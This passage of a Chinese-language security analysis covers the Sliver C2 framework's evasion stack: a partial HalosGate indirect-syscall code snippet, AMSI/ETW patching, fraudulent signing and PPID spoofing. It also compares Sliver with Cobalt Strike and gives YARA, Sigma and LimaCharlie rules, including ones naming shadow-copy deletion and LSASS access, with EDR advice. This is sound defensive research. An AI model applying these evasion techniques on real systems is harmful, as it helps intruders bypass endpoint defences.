关键注意:PPID伪造不改变安全令牌。 伪造的父进程只影响进程树中的"父进程"显示,新进程的访问令牌(包含用户SID、权限、完整性级别)仍继承自调用者(Sliver Implant),而非伪造的父进程。如果攻击者需要同时伪造令牌,必须额外进行令牌窃取/模拟。


七、真实案例:15层规避技术栈

在实际红队行动中,攻击者不会只使用单一Kit,而是将多个工具链串联,构建多层规避技术栈。以下是一个真实的15层规避技术栈拆解。

7.1 自定义7项技术

攻击者在Sliver基础之上自定义实现的7项规避技术:

# 技术 实现细节 规避目标
1 SysWhispers3 HalosGate间接syscall 哈希种子0x9DEA8D94,通过HalosGate算法选择相邻SSN NT API Hook检测
2 调用栈伪造 伪造syscall返回栈帧,模拟合法调用链 栈回溯检测
3 进程幽灵化 进程镂空+镜像替换 内存特征扫描
4 Heaven's Gate 32位进程通过0x33段选择子切换到64位执行 32/64位Hook差异
5 字符串混淆(XOR 0x42) 敏感字符串XOR 0x42加密,运行时解密 静态字符串提取
6 虚拟机检测 检测VMware/VBox/Hyper-V特征 沙箱分析环境
7 PEB参数伪造 修改PEB中的BeingDebugged/ProcessParameters 调试器检测

SysWhispers3 HalosGate间接syscall核心逻辑:

// === HalosGate 间接Syscall ===
// 当目标SSN (System Service Number) 被EDR Hook时,
// 通过寻找相邻未Hook的SSN, 逐步" Halo"跳转到目标

DWORD FindSsnViaHalosGate(DWORD targetSyscallHash) {
    // 哈希种子
    DWORD seed = 0x9DEA8D94;
    
    // 从ntdll的syscall stub区域开始扫描
    BYTE* ntdllSyscalls = GetSyscallStubBase();
    
    for (int halo = 1; halo < 500; halo++) {
        // 向相邻偏移查找未Hook的syscall
        // Hook通常表现为: mov r10,rcx; mov eax, SSN; jmp hook
        // 未Hook的: mov r10,rcx; mov eax, SSN; syscall
        
        DWORD neighborHash = ror13_with_seed(neighborName, seed);
        if (neighborHash == targetSyscallHash) {
            WORD neighborSsn = ExtractSsn(ntdllSyscalls + offset);
            
            // HalosGate: 目标SSN = 邻居SSN ± halo偏移
            WORD targetSsn = neighborSsn + halo;
            return targetSsn;
        }
    }
    return -1;
}

// 间接syscall执行: 不经过ntdll, 直接syscall指令
__asm__(
    "indirect_syscall:\n"
    "  mov r10, rcx\n"        // Windows x64 syscall约定
    "  mov eax, %[ssn]\n"     // SSN放入eax
    "  syscall\n"              // 直接发起syscall, 绕过ntdll Hook
    "  ret\n"
);

7.2 ScareCrow委托5项技术

攻击者将载荷交给ScareCrow工具处理,由ScareCrow应用以下5项技术:

# 技术 ScareCrow处理
8 签名伪造 申请欺诈性代码签名证书
9 加载器注入 将shellcode注入合法签名EXE
10 AMSI补丁 内嵌AMSI bypass
11 ETW补丁 内嵌ETW bypass
12 反沙箱 延迟执行+环境检测

7.3 ScareCrow原生3项技术

ScareCrow自身原生的3项PE层规避技术:

# 技术 原理 规避目标
13 熵值标准化 调整PE节区熵值至正常范围(6.5-7.0) 熵值异常检测(高熵=加壳)
14 时间戳操纵 伪造编译时间戳为过去日期 时间线异常检测
15 欺诈性VMware代码签名 使用伪造的VMware签名 签名验证检测
┌──────────────────────────────────────────────────────────────────┐
│                    15层规避技术栈全景                             │
├──────────────────────────────────────────────────────────────────┤
│                                                                  │
│  层级          技术                     来源                      │
│  ──────────   ──────────────────────   ──────────               │
│  [1] SysWhispers3 HalosGate           自定义                      │
│  [2] 调用栈伪造                       自定义                      │
│  [3] 进程幽灵化                       自定义                      │
│  [4] Heaven's Gate                    自定义                      │
│  [5] 字符串混淆 (XOR 0x42)           自定义                      │
│  [6] 虚拟机检测                       自定义                      │
│  [7] PEB参数伪造                      自定义                      │
│       │                                                        │
│       ▼  委托ScareCrow处理                                     │
│  [8] 签名伪造                         ScareCrow委托              │
│  [9] 加载器注入                       ScareCrow委托              │
│  [10] AMSI补丁                        ScareCrow委托              │
│  [11] ETW补丁                         ScareCrow委托              │
│  [12] 反沙箱                          ScareCrow委托              │
│       │                                                        │
│       ▼  ScareCrow原生PE处理                                  │
│  [13] 熵值标准化                      ScareCrow原生              │
│  [14] 时间戳操纵                      ScareCrow原生              │
│  [15] 欺诈性VMware代码签名            ScareCrow原生              │
│                                                                  │
└──────────────────────────────────────────────────────────────────┘

八、与Cobalt Strike规避能力对比

Sliver与Cobalt Strike作为红队最常用的两个C2框架,其规避能力因底层语言和架构差异而呈现显著不同。

8.1 系统性对比表

维度 Sliver Cobalt Strike 优势方
底层语言 Go C/C++ CS (规避更灵活)
开源属性 完全开源 闭源商业 Sliver (可审计/定制)
Sleep Mask机制 外部Kit + inline hook 内置BEACON_SLEEP_MASK回调 CS (集成度更高)
睡眠Hook层级 必须NT层(NtWaitForSingleObject) Win32层(kernel32!Sleep) CS (更易实现)
IAT特征 Go运行时IAT庞大且特征明显 C IAT精简可控 CS
二进制大小 ~10-15MB (Go运行时) ~300KB CS
PIC shellcode Crystal Palace Kit (受限) Artifact Kit (成熟) CS
Stack Spoofing Go运行时冲突,不可用 可用 CS
内存Mask Go goroutine冲突,受限 可用 CS
间接Syscall 需自定义(SysWhispers3) 可集成 持平
多操作员协作 原生支持 Team Server 持平
传输协议 mTLS/HTTP(S)/DNS/WireGuard HTTP(S)/DNS/SMB/TCP Sliver (WireGuard)
检测特征丰富度 Go元数据/构建信息 有限(闭源) CS (更难检测)
社区Kit生态 SliverC2-Evasion-Suite Artifact Kit系列 CS (更成熟)

8.2 Go运行时的双刃剑效应

Go运行时对Sliver的规避能力既是助力也是桎梏:

┌──────────────────────────────────────────────────────────────┐
│              Go运行时的双刃剑效应                             │
├──────────────────────────────────────────────────────────────┤
│                                                              │
│  ┌─────────────── 助力 (优势) ──────────────┐               │
│  │ • 不调用kernel32!Sleep → 绕过Win32 Hook  │               │
│  │ • 直接syscall → 部分NT Hook失效          │               │
│  │ • 协程模型 → 并发通信隐蔽                │               │
│  │ • 跨平台编译 → 一套代码多平台            │               │
│  └──────────────────────────────────────────┘               │
│                          │                                   │
│              Go Runtime  │  (同时)                           │
│                          ▼                                   │
│  ┌─────────────── 桎梏 (劣势) ──────────────┐               │
│  │ • 10ms抢占 → IAT Hook不可用              │               │
│  │ • Goroutine并发 → Memory Mask崩溃        │               │
│  │ • 自管理栈 → Stack Spoofing不可用        │               │
│  │ • 10-15MB体积 → 内存特征明显             │               │
│  │ • Go元数据 → 不可绕过的指纹              │               │
│  │ • IAT庞大 → 静态特征丰富                 │               │
│  └──────────────────────────────────────────┘               │
│                                                              │
│  结论: Go运行时使Sliver获得了部分天然规避能力,              │
│       但同时锁死了多种高级规避技术的实现路径                │
│                                                              │
└──────────────────────────────────────────────────────────────┘

8.3 Sleep Mask实现路径差异

┌──────────────────────────────────────────────────────────────┐
│           Sleep Mask 实现路径对比                            │
├──────────────────────────────────────────────────────────────┤
│                                                              │
│  Cobalt Strike:                                             │
│  Beacon睡眠 → kernel32!Sleep ──Hook──► Sleep Mask代码      │
│              ↑                    ↓                          │
│              └──── 内置BEACON_SLEEP_MASK回调 ◄── 加密/解密 │
│              (Aggressor Script, 集成度高)                    │
│                                                              │
│  Sliver:                                                    │
│  Implant睡眠 → NtWaitForSingleObject ──Inline Hook──►     │
│              ↑ (NT层, 绕过Win32)          ↓                │
│              └── 外部Sleep Mask Kit ◄── 12字节JMP跳板      │
│                  (需自行安装hook, 集成度低)                  │
│                                                              │
│  差异总结:                                                   │
│  • CS: Hook Win32层, 内置回调, 集成简单                     │
│  • Sliver: Hook NT层, 外部Kit, 实现复杂但更隐蔽             │
│                                                              │
└──────────────────────────────────────────────────────────────┘

九、检测规则

针对Sliver及其规避套件,以下是多层次的检测规则。

9.1 YARA检测规则

# === YARA规则: Sliver C2及规避套件检测 ===

# 规则1: ScareCrow Go Loader检测
rule ScareCrow_Go_Loader {
    meta:
        description = "检测ScareCrow生成的Go Loader"
        author = "Security Research"
        date = "2024-01-01"
        severity = "high"
    
    strings:
        // ScareCrow特征字符串
        $sc1 = "ScareCrow" ascii nocase
        $sc2 = "github.com/optiv/ScareCrow" ascii
        
        // Go运行时特征
        $go1 = "Go buildID" ascii
        $go2 = "runtime.main" ascii
        $go3 = "go.buildid" ascii
        
        // AMSI/ETW补丁特征字节
        $amsi_patch = { 33 C0 C3 }           // xor eax,eax; ret
        $etw_patch = { C3 }                   // ret (需上下文验证)
        
        // 加密配置区特征
        $config = "ScareCrow_Config" ascii
    
    condition:
        // ScareCrow特征 或 (Go运行时 + AMSI补丁 + 配置区)
        ($sc1 or $sc2) or 
        (3 of ($go*) and $amsi_patch and $config)
}

# 规则2: 欺诈性VMware代码签名证书检测
rule Fraudulent_VMware_Code_Signing {
    meta:
        description = "检测使用欺诈性VMware签名证书的二进制"
        author = "Security Research"
        severity = "critical"
    
    strings:
        // VMware签名证书特征
        $vmware_cert1 = "VMware, Inc." ascii
        $vmware_cert2 = "CN=VMware" ascii
        $vmware_cert3 = "VeriSign Class 3 Code Signing" ascii
        
        // 证书异常: 序列号或有效期不匹配
        $fake_serial = "00 00 00 00 00 00 00 00 00 00" hex
    
    condition:
        // 多个VMware证书特征同时出现 + 可疑序列号
        2 of ($vmware_cert*) and $fake_serial
}

# 规则3: UPX加壳Sliver变体检测
rule UPX_Packed_Sliver {
    meta:
        description = "检测UPX加壳的Sliver Implant变体"
        author = "Security Research"
        severity = "high"
    
    strings:
        // UPX加壳特征
        $upx1 = "UPX0" ascii
        $upx2 = "UPX1" ascii
        $upx3 = "UPX!" ascii
        $upx4 = "UPX - www.upx.sourceforge.net" ascii
        
        // Sliver Go特征 (加壳后部分残留)
        $sliver1 = "sliver" ascii nocase
        $sliver2 = "github.com/bishopfox/sliver" ascii
        
    condition:
        // UPX特征 + Sliver特征
        (3 of ($upx*)) and 
        ($sliver1 or $sliver2)
}

# 规则4: NCSC UK Sliver植入体检测规则
rule NCSC_UK_Sliver_Implant {
    meta:
        description = "NCSC UK发布的Sliver植入体检测规则"
        author = "NCSC UK"
        reference = "https://www.ncsc.gov.uk/"
        severity = "high"
    
    strings:
        // Sliver C2通信特征
        $s1 = "sliver" ascii nocase
        $s2 = "implant" ascii nocase
        
        // Sliver HTTP(S) C2特征
        $http1 = "SliverHTTPC2" ascii
        $http2 = "/sliver.flag" ascii
        
        // WireGuard特征
        $wg1 = "WireGuard" ascii
        $wg2 = "wireguard-go" ascii
        
        // Go编译特征
        $go_build = "Go cmd/compile" ascii
        $go_runtime = "runtime.go" ascii
        
        // Sliver特有函数符号
        $func1 = "github.com/bishopfox/sliver/implant" ascii
        $func2 = "github.com/bishopfox/sliver/server" ascii
    
    condition:
        // Sliver标识 + (HTTP或WireGuard特征) + Go编译特征
        ($s1 or $func1 or $func2) and
        ($http1 or $http2 or $wg1 or $wg2) and
        ($go_build or $go_runtime)
}

9.2 Sigma检测规则

# === Sigma规则: sihost.exe出站HTTPS连接 (最高置信度锚点) ===
title: Sliver C2 Implant via sihost.exe Outbound HTTPS Connection
id: 7a1f3b2c-9d8e-4f5a-b6c7-1e2d3f4a5b6c
status: experimental
description: >
    检测sihost.exe发起的出站HTTPS连接。Sliver Implant常通过进程注入
    或PPID伪造在sihost.exe中运行,该进程正常情况下不应发起外部网络连接。
    这是检测Sliver活动的最高置信度行为锚点。
references:
    - https://github.com/BishopFox/sliver
    - https://attack.mitre.org/techniques/T1071/001/
author: Security Research
date: 2024/01/01
tags:
    - attack.command_and_control
    - attack.t1071.001
    - attack.t1055   # Process Injection
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        Image|endswith: '\sihost.exe'
        DestinationPort: 443
        Initiated: 'true'
    filter_legitimate:
        # 排除已知合法的sihost.exe连接 (如有)
        DestinationIp|cidr:
            - '127.0.0.0/8'
            - '::1/128'
    condition: selection and not filter_legitimate
falsepositives:
    - 极少, sihost.exe正常不发起外部HTTPS连接
level: critical

9.3 LimaCharlie检测规则

# === LimaCharlie检测规则 ===

# 规则1: LSASS访问 (凭据窃取)
- detect:
    event: OPEN_PROCESS
    target: lsass.exe
    op: and
    rules:
      - op: is process_name
        path: event/*/PROCESS_NAME
        value: "*"
      - op: is target
        path: event/*/TARGET_NAME
        value: "lsass.exe"
    respond:
      - action: report
        name: Sliver_LSASS_Access
        metadata:
          severity: high
          description: "Sliver Implant访问LSASS, 可能进行凭据窃取"

# 规则2: VSS删除 (勒索/反取证)
- detect:
    event: PROCESS_CREATE
    op: and
    rules:
      - op: is
        path: event/*/COMMAND_LINE
        value: "*vssadmin delete shadows*"
      - op: is
        path: event/*/COMMAND_LINE
        value: "*wbadmin delete catalog*"
    respond:
      - action: report
        name: Sliver_VSS_Deletion
        metadata:
          severity: critical
          description: "卷影副本删除, 反取证行为"

# 规则3: 内存YARA检测 (运行时扫描)
- detect:
    event: YARA_MATCH
    op: or
    rules:
      - op: is
        path: event/*/RULE_NAME
        value: "Sliver_Implant"
      - op: is
        path: event/*/RULE_NAME
        value: "ScareCrow_Loader"
    respond:
      - action: report
        name: Sliver_Memory_Detection
        metadata:
          severity: critical
          description: "内存中检测到Sliver C2特征"

9.4 检测覆盖总结表

检测层 规则 检测对象 置信度 绕过难度
YARA-文件 ScareCrow_Go_Loader ScareCrow Loader文件 中 (重建)
YARA-文件 Fraudulent_VMware_Code_Signing 欺诈签名证书 极高
YARA-文件 UPX_Packed_Sliver UPX加壳变体 低 (换壳)
YARA-文件 NCSC_UK_Sliver_Implant Sliver植入体
YARA-内存 Sliver_Implant (内存扫描) 运行时内存特征 高 (Sleep Mask)
Sigma sihost.exe出站HTTPS 行为异常 极高
LimaCharlie LSASS访问 凭据窃取
LimaCharlie VSS删除 反取证 极高

十、防御建议

10.1 EDR配置建议表

配置项 建议值 理由
内存扫描阈值 扫描>15MB进程 Sliver Implant通常10-15MB,体积是显著特征
ETW监控 启用+监控补丁行为 检测ETW EventWrite被补丁为ret
AMSI监控 启用+监控补丁行为 检测AmsiScanBuffer前3字节覆写
NT API Hook Hook NtWaitForSingleObject Sliver睡眠走NT层, Win32 Hook无效
间接Syscall检测 监控syscall指令来源 检测不经过ntdll的syscall
RWX内存检测 禁止/告警PAGE_EXECUTE_READWRITE 合法代码应为RX, 非RWX
PEB完整性 监控PEB BeingDebugged字段 检测PEB参数伪造
栈回溯验证 启用ETW栈采样 检测调用栈伪造

10.2 行为检测建议表

检测规则 检测逻辑 适用场景
sihost.exe出站连接 sihost.exe发起任何外部网络连接 Sliver注入sihost.exe (最高置信度)
RuntimeBroker父进程异常 RuntimeBroker.exe父进程非svchost.exe PPID伪造检测
进程注入特征 NtWriteVirtualMemory跨进程写入 Inject Kit检测
AMSI补丁行为 amsi.dll内存区域被写入 Loader Kit AMSI绕过
ETW补丁行为 ntdll.dll!EtwEventWrite被写入 Loader Kit ETW绕过
大体积Go二进制 >8MB的Go编译EXE在非开发机执行 Sliver Implant体积特征
NtWaitForSingleObject Hook ntdll前12字节被覆写为JMP Sleep Mask Kit检测
PPID伪造特征 UpdateProcThreadAttribute + PROC_THREAD_ATTRIBUTE_PARENT_PROCESS Inject Kit PPID伪造

10.3 检测覆盖率缺口

尽管上述检测规则覆盖了多个层面,但仍存在以下覆盖率缺口:

┌──────────────────────────────────────────────────────────────────┐
│                    检测覆盖率缺口分析                            │
├──────────────────────────────────────────────────────────────────┤
│                                                                  │
│  缺口1: 内存变体 (Sleep Mask加密期)                              │
│  ┌────────────────────────────────────────────┐                 │
│  │ 问题: Sleep Mask在睡眠窗口加密内存,         │                 │
│  │       YARA内存扫描此时只能看到密文          │                 │
│  │ 影响: 内存YARA规则在扫描窗口内失效          │                 │
│  │ 缓解: 在Implant唤醒瞬间触发扫描 (竞争窗口)  │                 │
│  └────────────────────────────────────────────┘                 │
│                                                                  │
│  缺口2: 多态重建 (~8分钟周期)                                    │
│  ┌────────────────────────────────────────────┐                 │
│  │ 问题: 攻击者每~8分钟重建Sliver二进制,       │                 │
│  │       哈希/静态特征持续变化                 │                 │
│  │ 影响: 基于文件哈希的检测完全失效            │                 │
│  │ 缓解: 依赖行为检测而非静态特征              │                 │
│  └────────────────────────────────────────────┘                 │
│                                                                  │
│  缺口3: Go构建元数据 (不可绕过)                                  │
│  ┌────────────────────────────────────────────┐                 │
│  │ 优势: Go编译器会嵌入不可移除的构建元数据     │                 │
│  │       (Go版本、buildID、模块路径)           │                 │
│  │ 检测: 这些元数据是可靠指纹, 攻击者无法绕过  │                 │
│  │ 注意: 需结合行为分析, 单独元数据可能误报     │                 │
│  └────────────────────────────────────────────┘                 │
│                                                                  │
│  结论:                                                           │
│  • 静态特征检测 → 受多态重建影响, 需行为补充                    │
│  • 内存扫描 → 受Sleep Mask影响, 需把握唤醒窗口                  │
│  • 行为检测 → 最可靠, 但需覆盖sihost等关键锚点                  │
│  • Go元数据 → 不可绕过的固有指纹, 是检测利器                   │
│                                                                  │
└──────────────────────────────────────────────────────────────────┘

结语

Sliver C2及其SliverC2-Evasion-Suite展示了模块化规避技术的完整图景:从Loader Kit的AMSI/ETW绕过,到Sleep Mask Kit的NT层inline hook,再到Crystal Palace Kit的DFR无IAT shellcode和Inject Kit的PPID伪造——每个Kit都是一个可独立替换的模块,红队可按需组合形成定制化的规避能力栈。

然而,Sliver的Go运行时既是优势也是枷锁。它赋予了Sliver绕过Win32层Hook的天然能力,却也因10ms抢占调度、自管理栈和goroutine并发,锁死了IAT Hook、Stack Spoofing等高级规避技术的实现路径。这种"双刃剑效应"是Sliver与Cobalt Strike在规避能力上分道扬镳的根本原因。

对于防御方而言,关键认知在于:Go构建元数据是不可绕过的固有指纹,行为检测(尤其是sihost.exe出站连接这一最高置信度锚点)比静态特征更可靠,而内存扫描的有效性取决于能否在Sleep Mask的"唤醒窗口"内触发——这是一场时间与隐蔽性的赛跑。

防御箴言:不要依赖单一检测层。只有YARA文件扫描 + 内存YARA + ETW/AMSI监控 + 行为检测 + Go元数据指纹的多层叠加,才能有效覆盖Sliver的模块化规避技术栈。


参考来源:BishopFox Sliver官方文档、SliverC2-Evasion-Suite开源项目、SysWhispers3/HalosGate研究、ScareCrow工具、NCSC UK安全通告、Donut框架文档、AMSI/ETW绕过公开研究。